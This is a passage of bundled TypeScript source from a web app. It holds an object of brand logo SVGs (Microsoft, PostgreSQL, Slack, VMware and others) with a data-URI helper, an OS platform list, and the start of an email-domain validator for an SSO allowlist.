01.016.47c-.123.31-.516.643-1.063.842v.002c-.268.135-.501.333-.775.465-.276.135-.588.292-1.012.267a1.139 1.139 0 01-.448-.067 3.566 3.566 0 01-.322-.198c-.195-.135-.363-.332-.612-.465v-.005h-.005c-.4-.246-.616-.512-.686-.71-.07-.268-.005-.47.193-.6.224-.135.38-.271.483-.336.104-.074.143-.102.176-.131h.002v-.003c.169-.202.436-.47.839-.601.139-.036.294-.065.466-.065zm2.8 2.142c.358 1.417 1.196 3.475 1.735 4.473.286.534.855 1.659 1.102 3.024.156-.005.33.018.513.064.646-1.671-.546-3.467-1.089-3.966-.22-.2-.232-.335-.123-.335.59.534 1.365 1.572 1.646 2.757.13.535.16 1.104.021 1.67.067.028.135.06.205.067 1.032.534 1.413.938 1.23 1.537v-.043c-.06-.003-.12 0-.18 0h-.016c.151-.467-.182-.825-1.065-1.224-.915-.4-1.646-.336-1.77.465-.008.043-.013.066-.018.135-.068.023-.139.053-.209.064-.43.268-.662.669-.793 1.187-.13.533-.17 1.156-.205 1.869v.003c-.02.334-.17.838-.319 1.35-1.5 1.072-3.58 1.538-5.348.334a2.645 2.645 0 00-.402-.533 1.45 1.45 0 00-.275-.333c.182 0 .338-.03.465-.067a.615.615 0 00.314-.334c.108-.267 0-.697-.345-1.163-.345-.467-.931-.995-1.788-1.521-.63-.4-.986-.87-1.15-1.396-.165-.534-.143-1.085-.015-1.645.245-1.07.873-2.11 1.274-2.763.107-.065.037.135-.408.974-.396.751-1.14 2.497-.122 3.854a8.123 8.123 0 01.647-2.876c.564-1.278 1.743-3.504 1.836-5.268.048.036.217.135.289.202.218.133.38.333.59.465.21.201.477.335.876.335.039.003.075.006.11.006.412 0 .73-.134.997-.268.29-.134.52-.334.74-.4h.005c.467-.135.835-.402 1.044-.7zm2.185 8.958c.037.6.343 1.245.882 1.377.588.134 1.434-.333 1.791-.765l.211-.01c.315-.007.577.01.847.268l.003.003c.208.199.305.53.391.876.085.4.154.78.409 1.066.486.527.645.906.636 1.14l.003-.007v.018l-.003-.012c-.015.262-.185.396-.498.595-.63.401-1.746.712-2.457 1.57-.618.737-1.37 1.14-2.036 1.191-.664.053-1.237-.2-1.574-.898l-.005-.003c-.21-.4-.12-1.025.056-1.69.176-.668.428-1.344.463-1.897.037-.714.076-1.335.195-1.814.12-.465.308-.797.641-.984l.045-.022zm-10.814.049h.01c.053 0 .105.005.157.014.376.055.706.333 1.023.752l.91 1.664.003.003c.243.533.754 1.064 1.189 1.637.434.598.77 1.131.729 1.57v.006c-.057.744-.48 1.148-1.125 1.294-.645.135-1.52.002-2.395-.464-.968-.536-2.118-.469-2.857-.602-.369-.066-.61-.2-.723-.4-.11-.2-.113-.602.123-1.23v-.004l.002-.003c.117-.334.03-.752-.027-1.118-.055-.401-.083-.71.043-.94.16-.334.396-.4.69-.533.294-.135.64-.202.915-.47h.002v-.002c.256-.268.445-.601.668-.838.19-.201.38-.336.663-.336zm7.159-9.074c-.435.201-.945.535-1.488.535-.542 0-.97-.267-1.28-.466-.154-.134-.28-.268-.373-.335-.164-.134-.144-.333-.074-.333.109.016.129.134.199.2.096.066.215.2.36.333.292.2.68.467 1.167.467.485 0 1.053-.267 1.398-.466.195-.135.445-.334.648-.467.156-.136.149-.267.279-.267.128.016.034.134-.147.332a8.097 8.097 0 01-.69.468zm-1.082-1.583V5.64c-.006-.02.013-.042.029-.05.074-.043.18-.027.26.004.063 0 .16.067.15.135-.006.049-.085.066-.135.066-.055 0-.092-.043-.141-.068-.052-.018-.146-.008-.163-.065zm-.551 0c-.02.058-.113.049-.166.066-.047.025-.086.068-.14.068-.05 0-.13-.02-.136-.068-.01-.066.088-.133.15-.133.08-.031.184-.047.259-.005.019.009.036.03.03.05v.02h.003z\"/></svg>`,\n  microsoft: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Microsoft</title><path d=\"M0 0v11.408h11.408V0zm12.594 0v11.408H24V0zM0 12.594V24h11.408V12.594zm12.594 0V24H24V12.594z\"/></svg>`,\n  openstack: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>OpenStack</title><path d=\"M18.575 9.29h5.418v5.42h-5.418zM0 9.29h5.419v5.42H0zm18.575 7.827a1.207 1.207 0 0 1-1.206 1.206H6.623a1.207 1.207 0 0 1-1.205-1.206v-.858H0v5.252a2.236 2.236 0 0 0 2.229 2.23h19.53A2.237 2.237 0 0 0 24 21.512V16.26h-5.425zM21.763.258H2.233a2.236 2.236 0 0 0-2.23 2.23V7.74h5.419v-.858a1.206 1.206 0 0 1 1.205-1.206h10.746a1.206 1.206 0 0 1 1.205 1.206v.858H24V2.487A2.237 2.237 0 0 0 21.763.258Z\"/></svg>`,\n  oracle: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Oracle</title><path d=\"M16.412 4.412h-8.82a7.588 7.588 0 0 0-.008 15.176h8.828a7.588 7.588 0 0 0 0-15.176zm-.193 12.502H7.786a4.915 4.915 0 0 1 0-9.828h8.433a4.914 4.914 0 1 1 0 9.828z\"/></svg>`,\n  perforce: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Perforce</title><path d=\"m7.386 14.957 2.279-1.316-.576-.333A1.48 1.48 0 0 1 8.334 12c0-.262.073-.915.755-1.308l10.31-5.953a1.49 1.49 0 0 1 1.51 0c.228.13.755.52.755 1.308v11.906c0 .788-.527 1.178-.754 1.308s-.828.393-1.51 0l-2.732-1.577-2.334 1.348 3.899 2.251a3.81 3.81 0 0 0 3.845 0A3.81 3.81 0 0 0 24 17.953V6.047a3.81 3.81 0 0 0-1.922-3.33 3.83 3.83 0 0 0-1.923-.52c-.66 0-1.32.173-1.922.52L7.923 8.67A3.81 3.81 0 0 0 6 12c0 1.17.51 2.234 1.386 2.956zm9.228-5.913-2.279 1.316.576.333c.682.393.755 1.046.755 1.308 0 .263-.073.915-.755 1.308l-10.31 5.954a1.49 1.49 0 0 1-1.51 0 1.48 1.48 0 0 1-.755-1.308V6.047c0-.788.527-1.178.754-1.308s.828-.393 1.51 0l2.732 1.577 2.334-1.348-3.899-2.251a3.81 3.81 0 0 0-3.845 0A3.81 3.81 0 0 0 0 6.047v11.906c0 1.39.72 2.635 1.922 3.33a3.83 3.83 0 0 0 1.923.52c.66 0 1.32-.173 1.922-.52l10.31-5.953A3.81 3.81 0 0 0 18 12c0-1.17-.51-2.234-1.386-2.956\"/></svg>`,\n  postgresql: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>PostgreSQL</title><path d=\"M23.5594 14.7228a.5269.5269 0 0 0-.0563-.1191c-.139-.2632-.4768-.3418-1.0074-.2321-1.6533.3411-2.2935.1312-2.5256-.0191 1.342-2.0482 2.445-4.522 3.0411-6.8297.2714-1.0507.7982-3.5237.1222-4.7316a1.5641 1.5641 0 0 0-.1509-.235C21.6931.9086 19.8007.0248 17.5099.0005c-1.4947-.0158-2.7705.3461-3.1161.4794a9.449 9.449 0 0 0-.5159-.0816 8.044 8.044 0 0 0-1.3114-.1278c-1.1822-.0184-2.2038.2642-3.0498.8406-.8573-.3211-4.7888-1.645-7.2219.0788C.9359 2.1526.3086 3.8733.4302 6.3043c.0409.818.5069 3.334 1.2423 5.7436.4598 1.5065.9387 2.7019 1.4334 3.582.553.9942 1.1259 1.5933 1.7143 1.7895.4474.1491 1.1327.1441 1.8581-.7279.8012-.9635 1.5903-1.8258 1.9446-2.2069.4351.2355.9064.3625 1.39.3772a.0569.0569 0 0 0 .0004.0041 11.0312 11.0312 0 0 0-.2472.3054c-.3389.4302-.4094.5197-1.5002.7443-.3102.064-1.1344.2339-1.1464.8115-.0025.1224.0329.2309.0919.3268.2269.4231.9216.6097 1.015.6331 1.3345.3335 2.5044.092 3.3714-.6787-.017 2.231.0775 4.4174.3454 5.0874.2212.5529.7618 1.9045 2.4692 1.9043.2505 0 .5263-.0291.8296-.0941 1.7819-.3821 2.5557-1.1696 2.855-2.9059.1503-.8707.4016-2.8753.5388-4.1012.0169-.0703.0357-.1207.057-.1362.0007-.0005.0697-.0471.4272.0307a.3673.3673 0 0 0 .0443.0068l.2539.0223.0149.001c.8468.0384 1.9114-.1426 2.5312-.4308.6438-.2988 1.8057-1.0323 1.5951-1.6698zM2.371 11.8765c-.7435-2.4358-1.1779-4.8851-1.2123-5.5719-.1086-2.1714.4171-3.6829 1.5623-4.4927 1.8367-1.2986 4.8398-.5408 6.108-.13-.0032.0032-.0066.0061-.0098.0094-2.0238 2.044-1.9758 5.536-1.9708 5.7495-.0002.0823.0066.1989.0162.3593.0348.5873.0996 1.6804-.0735 2.9184-.1609 1.1504.1937 2.2764.9728 3.0892.0806.0841.1648.1631.2518.2374-.3468.3714-1.1004 1.1926-1.9025 2.1576-.5677.6825-.9597.5517-1.0886.5087-.3919-.1307-.813-.5871-1.2381-1.3223-.4796-.839-.9635-2.0317-1.4155-3.5126zm6.0072 5.0871c-.1711-.0428-.3271-.1132-.4322-.1772.0889-.0394.2374-.0902.4833-.1409 1.2833-.2641 1.4815-.4506 1.9143-1.0002.0992-.126.2116-.2687.3673-.4426a.3549.3549 0 0 0 .0737-.1298c.1708-.1513.2724-.1099.4369-.0417.156.0646.3078.26.3695.4752.0291.1016.0619.2945-.0452.4444-.9043 1.2658-2.2216 1.2494-3.1676 1.0128zm2.094-3.988-.0525.141c-.133.3566-.2567.6881-.3334 1.003-.6674-.0021-1.3168-.2872-1.8105-.8024-.6279-.6551-.9131-1.5664-.7825-2.5004.1828-1.3079.1153-2.4468.079-3.0586-.005-.0857-.0095-.1607-.0122-.2199.2957-.2621 1.6659-.9962 2.6429-.7724.4459.1022.7176.4057.8305.928.5846 2.7038.0774 3.8307-.3302 4.7363-.084.1866-.1633.3629-.2311.5454zm7.3637 4.5725c-.0169.1768-.0358.376-.0618.5959l-.146.4383a.3547.3547 0 0 0-.0182.1077c-.0059.4747-.054.6489-.115.8693-.0634.2292-.1353.4891-.1794 1.0575-.11 1.4143-.8782 2.2267-2.4172 2.5565-1.5155.3251-1.7843-.4968-2.0212-1.2217a6.5824 6.5824 0 0 0-.0769-.2266c-.2154-.5858-.1911-1.4119-.1574-2.5551.0165-.5612-.0249-1.9013-.3302-2.6462.0044-.2932.0106-.5909.019-.8918a.3529.3529 0 0 0-.0153-.1126 1.4927 1.4927 0 0 0-.0439-.208c-.1226-.4283-.4213-.7866-.7797-.9351-.1424-.059-.4038-.1672-.7178-.0869.067-.276.1831-.5875.309-.9249l.0529-.142c.0595-.16.134-.3257.213-.5012.4265-.9476 1.0106-2.2453.3766-5.1772-.2374-1.0981-1.0304-1.6343-2.2324-1.5098-.7207.0746-1.3799.3654-1.7088.5321a5.6716 5.6716 0 0 0-.1958.1041c.0918-1.1064.4386-3.1741 1.7357-4.4823a4.0306 4.0306 0 0 1 .3033-.276.3532.3532 0 0 0 .1447-.0644c.7524-.5706 1.6945-.8506 2.802-.8325.4091.0067.8017.0339 1.1742.081 1.939.3544 3.2439 1.4468 4.0359 2.3827.8143.9623 1.2552 1.9315 1.4312 2.4543-1.3232-.1346-2.2234.1268-2.6797.779-.9926 1.4189.543 4.1729 1.2811 5.4964.1353.2426.2522.4522.2889.5413.2403.5825.5515.9713.7787 1.2552.0696.087.1372.1714.1885.245-.4008.1155-1.1208.3825-1.0552 1.717-.0123.1563-.0423.4469-.0834.8148-.0461.2077-.0702.4603-.0994.7662zm.8905-1.6211c-.0405-.8316.2691-.9185.5967-1.0105a2.8566 2.8566 0 0 0 .135-.0406 1.202 1.202 0 0 0 .1342.103c.5703.3765 1.5823.4213 3.0068.1344-.2016.1769-.5189.3994-.9533.6011-.4098.1903-1.0957.333-1.7473.3636-.7197.0336-1.0859-.0807-1.1721-.151zm.5695-9.2712c-.0059.3508-.0542.6692-.1054 1.0017-.055.3576-.112.7274-.1264 1.1762-.0142.4368.0404.8909.0932 1.3301.1066.887.216 1.8003-.2075 2.7014a3.5272 3.5272 0 0 1-.1876-.3856c-.0527-.1276-.1669-.3326-.3251-.6162-.6156-1.1041-2.0574-3.6896-1.3193-4.7446.3795-.5427 1.3408-.5661 2.1781-.463zm.2284 7.0137a12.3762 12.3762 0 0 0-.0853-.1074l-.0355-.0444c.7262-1.1995.5842-2.3862.4578-3.4385-.0519-.4318-.1009-.8396-.0885-1.2226.0129-.4061.0666-.7543.1185-1.0911.0639-.415.1288-.8443.1109-1.3505.0134-.0531.0188-.1158.0118-.1902-.0457-.4855-.5999-1.938-1.7294-3.253-.6076-.7073-1.4896-1.4972-2.6889-2.0395.5251-.1066 1.2328-.2035 2.0244-.1859 2.0515.0456 3.6746.8135 4.8242 2.2824a.908.908 0 0 1 .0667.1002c.7231 1.3556-.2762 6.2751-2.9867 10.5405zm-8.8166-6.1162c-.025.1794-.3089.4225-.6211.4225a.5821.5821 0 0 1-.0809-.0056c-.1873-.026-.3765-.144-.5059-.3156-.0458-.0605-.1203-.178-.1055-.2844.0055-.0401.0261-.0985.0925-.1488.1182-.0894.3518-.1226.6096-.0867.3163.0441.6426.1938.6113.4186zm7.9305-.4114c.0111.0792-.049.201-.1531.3102-.0683.0717-.212.1961-.4079.2232a.5456.5456 0 0 1-.075.0052c-.2935 0-.5414-.2344-.5607-.3717-.024-.1765.2641-.3106.5611-.352.297-.0414.6111.0088.6356.1851z\"/></svg>`,\n  redhat: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Red Hat</title><path d=\"M16.009 13.386c1.577 0 3.86-.326 3.86-2.202a1.765 1.765 0 0 0-.04-.431l-.94-4.08c-.216-.898-.406-1.305-1.982-2.093-1.223-.625-3.888-1.658-4.676-1.658-.733 0-.947.946-1.822.946-.842 0-1.467-.706-2.255-.706-.757 0-1.25.515-1.63 1.576 0 0-1.06 2.99-1.197 3.424a.81.81 0 0 0-.028.245c0 1.162 4.577 4.974 10.71 4.974m4.101-1.435c.218 1.032.218 1.14.218 1.277 0 1.765-1.984 2.745-4.593 2.745-5.895.004-11.06-3.451-11.06-5.734a2.326 2.326 0 0 1 .19-.925C2.746 9.415 0 9.794 0 12.217c0 3.969 9.405 8.861 16.851 8.861 5.71 0 7.149-2.582 7.149-4.62 0-1.605-1.387-3.425-3.887-4.512\"/></svg>`,\n  slack: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Slack</title><path d=\"M5.042 15.165a2.528 2.528 0 0 1-2.52 2.523A2.528 2.528 0 0 1 0 15.165a2.527 2.527 0 0 1 2.522-2.52h2.52v2.52zM6.313 15.165a2.527 2.527 0 0 1 2.521-2.52 2.527 2.527 0 0 1 2.521 2.52v6.313A2.528 2.528 0 0 1 8.834 24a2.528 2.528 0 0 1-2.521-2.522v-6.313zM8.834 5.042a2.528 2.528 0 0 1-2.521-2.52A2.528 2.528 0 0 1 8.834 0a2.528 2.528 0 0 1 2.521 2.522v2.52H8.834zM8.834 6.313a2.528 2.528 0 0 1 2.521 2.521 2.528 2.528 0 0 1-2.521 2.521H2.522A2.528 2.528 0 0 1 0 8.834a2.528 2.528 0 0 1 2.522-2.521h6.312zM18.956 8.834a2.528 2.528 0 0 1 2.522-2.521A2.528 2.528 0 0 1 24 8.834a2.528 2.528 0 0 1-2.522 2.521h-2.522V8.834zM17.688 8.834a2.528 2.528 0 0 1-2.523 2.521 2.527 2.527 0 0 1-2.52-2.521V2.522A2.527 2.527 0 0 1 15.165 0a2.528 2.528 0 0 1 2.523 2.522v6.312zM15.165 18.956a2.528 2.528 0 0 1 2.523 2.522A2.528 2.528 0 0 1 15.165 24a2.527 2.527 0 0 1-2.52-2.522v-2.522h2.52zM15.165 17.688a2.527 2.527 0 0 1-2.52-2.523 2.526 2.526 0 0 1 2.52-2.52h6.313A2.527 2.527 0 0 1 24 15.165a2.528 2.528 0 0 1-2.522 2.523h-6.313z\"/></svg>`,\n  splunk: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Splunk</title><path d=\"M23.348 11.911l-2.241-1.091v-.65L24 11.621v.593l-2.893 1.438v-.636zm-5.397 1.841h-.961v-5.31h.961v3.116h.102l1.28-1.481.723.31-1.23 1.316 1.453 1.809-.888.311-1.44-1.996zm-2.577-.002v-2.068a2.685 2.685 0 0 0-.026-.42.791.791 0 0 0-.09-.26c-.113-.202-.308-.304-.59-.304a.888.888 0 0 0-.461.113.673.673 0 0 0-.286.33 1.012 1.012 0 0 0-.07.263c-.012.13-.019.262-.017.395v1.95h-.961v-3.614h.961l.002.485c.185-.2.373-.348.566-.437.192-.089.418-.134.673-.134.286 0 .527.058.721.177a1.016 1.016 0 0 1 .475.665 1.972 1.972 0 0 1 .054.448c.002.1.004.22.004.358v2.053zm-4.115.002l-.002-.485a1.783 1.783 0 0 1-.565.437 1.597 1.597 0 0 1-.674.135c-.285 0-.524-.057-.72-.17a.972.972 0 0 1-.425-.504.75.75 0 0 1-.054-.167 1.918 1.918 0 0 1-.033-.199 2.033 2.033 0 0 1-.017-.258 15.516 15.516 0 0 1-.005-.355V10.13h.956v2.07c-.003.141.006.282.026.42.015.092.045.18.09.26.113.204.308.306.59.306.36 0 .606-.15.74-.449.035-.082.06-.168.074-.257.017-.134.024-.269.022-.403v-1.95h.955v3.624zM7.184 8.44h.955v5.31h-.955zM5.759 11.9c0-.396-.08-.708-.24-.937a.759.759 0 0 0-.657-.345.804.804 0 0 0-.693.366c-.171.245-.256.574-.253.99 0 .405.084.723.25.957a.796.796 0 0 0 .69.347.685.685 0 0 0 .433-.135.985.985 0 0 0 .277-.34c.071-.14.121-.292.147-.448.03-.151.043-.3.046-.455m1.01-.036c.003.266-.04.532-.129.786-.082.23-.204.441-.364.626-.31.361-.764.567-1.24.563a1.67 1.67 0 0 1-.313-.028 1.041 1.041 0 0 1-.275-.098 1.33 1.33 0 0 1-.257-.178 2.379 2.379 0 0 1-.265-.268v2.293h-.929v-5.425h.93l.004.529c.169-.212.353-.368.55-.468.197-.1.426-.15.688-.147a1.509 1.509 0 0 1 1.156.507c.148.166.259.361.33.571.08.236.12.485.115.737m-4.21.89a.946.946 0 0 1-.102.441 1.007 1.007 0 0 1-.282.345c-.13.1-.275.173-.43.22a1.8 1.8 0 0 1-.546.08 1.985 1.985 0 0 1-.637-.097 1.964 1.964 0 0 1-.563-.32l.312-.505c.15.126.284.217.405.275.115.057.24.087.368.087a.557.557 0 0 0 .373-.12.396.396 0 0 0 .14-.322.475.475 0 0 0-.12-.318 1.306 1.306 0 0 0-.187-.173 9.231 9.231 0 0 0-.308-.232 6.787 6.787 0 0 1-.281-.21 2.11 2.11 0 0 1-.252-.232 1.039 1.039 0 0 1-.18-.275.826.826 0 0 1-.069-.347.893.893 0 0 1 .094-.409.935.935 0 0 1 .255-.314 1.22 1.22 0 0 1 .39-.203c.16-.05.327-.074.494-.072.184 0 .368.026.545.076.174.05.338.123.488.219l-.282.454a1.05 1.05 0 0 0-.608-.201.504.504 0 0 0-.323.102.307.307 0 0 0-.126.253c0 .098.041.193.113.26.074.078.203.186.385.325.185.136.336.253.457.355.104.085.202.182.286.286.065.08.115.173.145.273a.808.808 0 0 1 .046.299Z\"/></svg>`,\n  supabase: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Supabase</title><path d=\"M11.9 1.036c-.015-.986-1.26-1.41-1.874-.637L.764 12.05C-.33 13.427.65 15.455 2.409 15.455h9.579l.113 7.51c.014.985 1.259 1.408 1.873.636l9.262-11.653c1.093-1.375.113-3.403-1.645-3.403h-9.642z\"/></svg>`,\n  vicarius: `<svg width=\"32\" height=\"32\" viewBox=\"0 0 32 32\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n<g clip-path=\"url(#clip0_3987_3816)\">\n<path d=\"M20.867 18.9738C20.6247 18.2663 20.2007 17.7357 19.2921 17.2051C19.8978 17.0282 20.3218 16.9103 20.5641 16.7924C20.3824 16.3207 20.2007 16.0849 19.7767 15.7901C20.867 13.7266 22.1996 12.7833 22.0785 11.9579C21.4121 12.3116 20.7459 13.5497 19.5344 14.0803C19.7767 12.0758 20.6853 10.8967 20.6853 10.1892C20.6853 9.83543 20.2613 9.12793 19.8978 8.65625C17.8989 11.5452 16.6875 15.0237 16.6875 18.7969C16.6875 21.2731 17.2327 23.6903 18.1413 25.8718C18.747 26.2845 19.2315 26.6383 19.7161 27.3457C19.6556 25.7539 20.3218 25.1643 19.7767 21.9806C20.019 22.0985 20.2613 22.2754 20.5035 22.2754C20.5642 21.3911 20.5035 20.2708 19.8978 18.62C20.2007 18.62 20.3824 18.738 20.867 18.9738Z\" fill=\"url(#paint0_linear_3987_3816)\"/>\n<path d=\"M6.73533 22.0471C5.57407 22.4427 4.64506 23.0078 3.89024 23.7425C2.38059 21.5385 1.45158 18.8258 1.45158 16C1.45158 8.25743 7.8966 1.98429 15.8513 1.98429C23.8059 1.98429 30.2509 8.25743 30.2509 16C30.2509 22.3296 25.8962 27.6985 19.9737 29.4506V28.2072C20.0899 28.2072 20.2641 28.3203 20.4963 28.6028C20.7867 26.9074 20.8447 25.1554 20.6125 23.3469C21.135 23.573 21.5415 23.9686 21.8898 24.4207C22.006 23.0644 21.7157 21.5949 20.9608 20.1256C21.4253 20.2951 21.7737 20.6342 22.064 21.1428C22.1802 19.8995 22.006 18.8258 20.9608 17.8085C21.3092 17.865 21.5415 18.091 22.064 18.5432C21.7737 17.0738 20.8447 16.7912 20.8447 15.7739C20.8447 14.1915 23.9801 13.0047 22.3543 11.0832C21.8318 11.6483 21.3092 12.157 20.7286 12.5526C20.9608 11.6483 21.4834 10.5746 21.4834 10.0659C21.4834 9.50079 19.9737 7.57925 19.7415 7.29666C19.6835 7.2402 19.3931 7.18366 19.1609 7.2402C18.4641 7.29666 18.6964 7.74878 18.4061 8.03137C17.9996 8.54002 17.419 9.16167 17.0125 9.78332C16.7222 10.1224 16.548 10.6311 16.2577 10.6876C11.903 11.3657 11.4965 15.2087 7.316 14.8132C7.49017 16.0565 8.53527 16.8477 9.87078 17.4129C9.23203 19.1083 7.72242 20.5777 5.74826 21.9341C6.09665 21.9341 6.38698 21.9906 6.73533 22.0471ZM0 16C0 24.5337 7.08374 31.4286 15.8513 31.4286C24.6188 31.4286 31.7025 24.5337 31.7025 16C31.7025 7.46625 24.6188 0.571411 15.8513 0.571411C7.08374 0.571411 0 7.46625 0 16ZM15.1545 15.5479C14.6319 15.6044 14.5158 15.6609 13.9932 15.8305C14.0513 14.5871 15.6771 13.0047 17.2448 11.2527C17.9996 10.405 18.9867 8.59655 19.3351 8.59655C19.5673 8.59655 20.5544 9.95291 20.5544 10.4615C20.5544 11.1397 19.6835 12.27 19.4512 14.1915C20.6125 13.6829 21.1931 12.496 21.8898 12.157C22.064 13.0047 20.7286 13.9089 19.6835 15.887C20.0899 16.226 20.2641 16.4521 20.4382 16.8477C20.206 16.9608 19.7996 17.0738 19.219 17.2433C20.148 17.7519 20.5544 18.3171 20.7286 18.9388C20.3222 18.7127 20.0899 18.6562 19.7415 18.5997C20.3222 20.1256 20.3802 21.2559 20.3222 22.1036C20.0899 22.1036 19.7996 21.9906 19.6254 21.821C20.148 24.8728 19.5092 25.4379 19.5673 26.9639C19.1028 26.2857 18.6383 25.8901 18.0577 25.551C17.6512 27.0769 17.0125 27.7551 16.6061 28.1507C16.9545 26.0031 16.8964 24.0816 15.9674 22.1601C15.6771 22.4427 15.619 22.7818 15.4448 23.1774C14.2836 22.3862 13.8191 21.1993 14.5158 19.0518C13.9932 19.4474 13.8191 19.7865 13.5287 20.1256C13.1803 17.5259 13.9932 16.5651 15.1545 15.5479Z\" fill=\"#10121F\"/>\n</g>\n<defs>\n<linearGradient id=\"paint0_linear_3987_3816\" x1=\"18.5841\" y1=\"27.6523\" x2=\"21.025\" y2=\"9.03623\" gradientUnits=\"userSpaceOnUse\">\n<stop stop-color=\"#4C4EF0\"/>\n<stop offset=\"1\" stop-color=\"#4C4EF0\" stop-opacity=\"0\"/>\n</linearGradient>\n<clipPath id=\"clip0_3987_3816\">\n<rect width=\"32\" height=\"32\" fill=\"white\"/>\n</clipPath>\n</defs>\n</svg>`,\n  vmware: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>VMware</title><path d=\"M.5 10.1a.505.505 0 00-.197.048.497.497 0 00-.25.68l1.138 2.475c.179.38.38.592.721.592.342 0 .542-.22.72-.592l1.003-2.186a.144.144 0 01.144-.092.16.16 0 01.157.16v2.118a.535.535 0 101.066 0v-1.73a.531.531 0 01.566-.552.52.52 0 01.541.551v1.73a.531.531 0 00.53.593.539.539 0 00.535-.592v-1.73a.531.531 0 01.564-.552.52.52 0 01.543.551v1.73a.531.531 0 00.528.593.535.535 0 00.535-.592v-1.969a1.234 1.234 0 00-1.283-1.23 1.647 1.647 0 00-1.14.486 1.26 1.26 0 00-1.095-.483 1.807 1.807 0 00-1.074.483 1.287 1.287 0 00-.961-.483 1.177 1.177 0 00-1.158.786l-.729 1.716-.933-2.203.011-.004A.505.505 0 00.5 10.1zm18.43.06a.27.27 0 00-.266.274h.002v3.142a.27.27 0 10.535 0v-1.222c0-1.037.571-1.56 1.27-1.643a.266.266 0 00.238-.274.258.258 0 00-.266-.269 1.465 1.465 0 00-1.242.88v-.614a.266.266 0 00-.271-.274zm-6.735.008a.273.273 0 00-.25.217l-.912 2.627-.902-2.62a.28.28 0 00-.274-.22.266.266 0 00-.27.258.493.493 0 00.034.144l1.09 3.037.02-.007a.319.319 0 00.298.242.3.3 0 00.293-.242l.903-2.583.896 2.583a.3.3 0 00.293.242h.018a.319.319 0 00.293-.242l1.097-3.038a.512.512 0 00.033-.144.258.258 0 00-.265-.25.262.262 0 00-.258.209l-.918 2.63-.904-2.626a.285.285 0 00-.278-.217h-.025a.273.273 0 00-.012 0zm10.168.008a1.75 1.75 0 00-1.691 1.851 1.765 1.765 0 001.76 1.858l-.008.013a1.784 1.784 0 001.33-.539.228.228 0 00.082-.17.228.228 0 00-.379-.168 1.435 1.435 0 01-1.018.415 1.237 1.237 0 01-1.24-1.207h2.555a.247.247 0 00.246-.247c0-.945-.593-1.806-1.637-1.806zm-5.744.002a1.571 1.571 0 00-.158.006 2.384 2.384 0 00-1.078.205.22.22 0 00-.143.222.24.24 0 00.235.229.266.266 0 00.095-.024 1.822 1.822 0 01.834-.162c.691 0 1.07.334 1.07.979v.125a3.796 3.796 0 00-1.103-.15c-.892 0-1.52.4-1.52 1.16l-.003-.004c0 .736.671 1.117 1.34 1.117a1.575 1.575 0 001.298-.62v.343a.247.247 0 00.254.25.254.254 0 00.258-.262v-1.983a1.416 1.416 0 00-.379-1.046 1.571 1.571 0 00-1-.385zm5.719.43c.714 0 1.085.565 1.139 1.214h-2.278a1.222 1.222 0 011.139-1.215zm-5.885 1.382a3.75 3.75 0 011.057.153V12.49c0 .57-.539.973-1.2.973-.485 0-.904-.261-.904-.713 0-.467.375-.76 1.047-.76Z\"/></svg>`,\n}\n\nexport type BrandMarkName = keyof typeof BRAND_MARK_SVGS\n\n/** A data: URI usable directly in CSS `mask-image: url(...)` / `-webkit-mask-image`. */\nexport function brandMarkDataUri(name: string): string {\n  const svg = BRAND_MARK_SVGS[name.toLowerCase()]\n  if (!svg) return ''\n  return `data:image/svg+xml,${encodeURIComponent(svg)}`\n}\n","import type { ComponentType } from 'react';\nimport { WindowsIcon, LinuxIcon, MacOSIcon } from '../components/icons';\n\n// OS-level platforms (Windows, Linux, MacOS)\n\nexport type OSPlatformId = 'windows' | 'linux' | 'darwin';\n\nexport interface OSPlatformOption {\n  id: OSPlatformId;\n  name: string;\n  icon: ComponentType<any>;\n}\n\nexport const OS_PLATFORMS: OSPlatformOption[] = [\n  { id: 'windows', name: 'Windows', icon: WindowsIcon },\n  { id: 'linux', name: 'Linux', icon: LinuxIcon },\n  { id: 'darwin', name: 'MacOS', icon: MacOSIcon }\n];\n\nexport const DEFAULT_OS_PLATFORM: OSPlatformId = 'windows';\n\n\n","/**\n * Email Domain Validation Utilities\n *\n * Validates email domain formats (the part after @ in email addresses)\n * Used for SSO domain allowlist feature to restrict auto-provisioning to specific domains.\n */\n\n/**\n * Validates an email domain format (the part after @ in email addresses)\n * Valid: example.com, sub.domain.org, my-company.co.uk\n * Invalid: http://example.com, @example.com, example, .com\n *\n * @param domain - The domain string to validate\n * @returns true if the domain is a valid email domain format\n */\nexport function isValidEmailDomain(domain: string): boolean {\n  if (!domain || typeof domain !== 'string') {\n    return false\n  }\n\n  const trimmed = domain.trim()\n  if (!trimmed) {\n    return false\n  }\n\n  // Domain regex: must have at least one dot, valid characters, and proper TLD\n  // Allows subdomains, hyphens (not at start/end of labels), alphanumeric characters\n  const domainRegex = /^(?!-)[A-Za-z0-9-]{1,63}(?<!-)(\\.[A-Za-z0-9-]{1,63})*\\.[A-Za-z]{2,}$/\n  return domainRegex.test(trimmed)\n}\n\n/**\n * Validation result type\n */\nexport interface EmailDomainValidationResult {\n  valid: boolean\n  error?: string\n  cleanedDomain?: string\n}\n\n/**\n * Validates an email domain with detailed error messages\n * Also cleans the input (removes leading @, trims whitespace)\n *\n * @param domain - The domain string to validate\n * @returns Validation result with error message if invalid\n */\nexport function validateEmailDomain(domain: string): EmailDomainValidationResult {\n  if (!domain || typeof domain !== 'string') {\n    return { valid: false, error: 'Email domain is required' }\n  }\n\n  // Clean the input: trim and remove leading @ if user enters it\n  let trimmed = domain.trim()\n  if (trimmed.startsWith('@')) {\n    trimmed 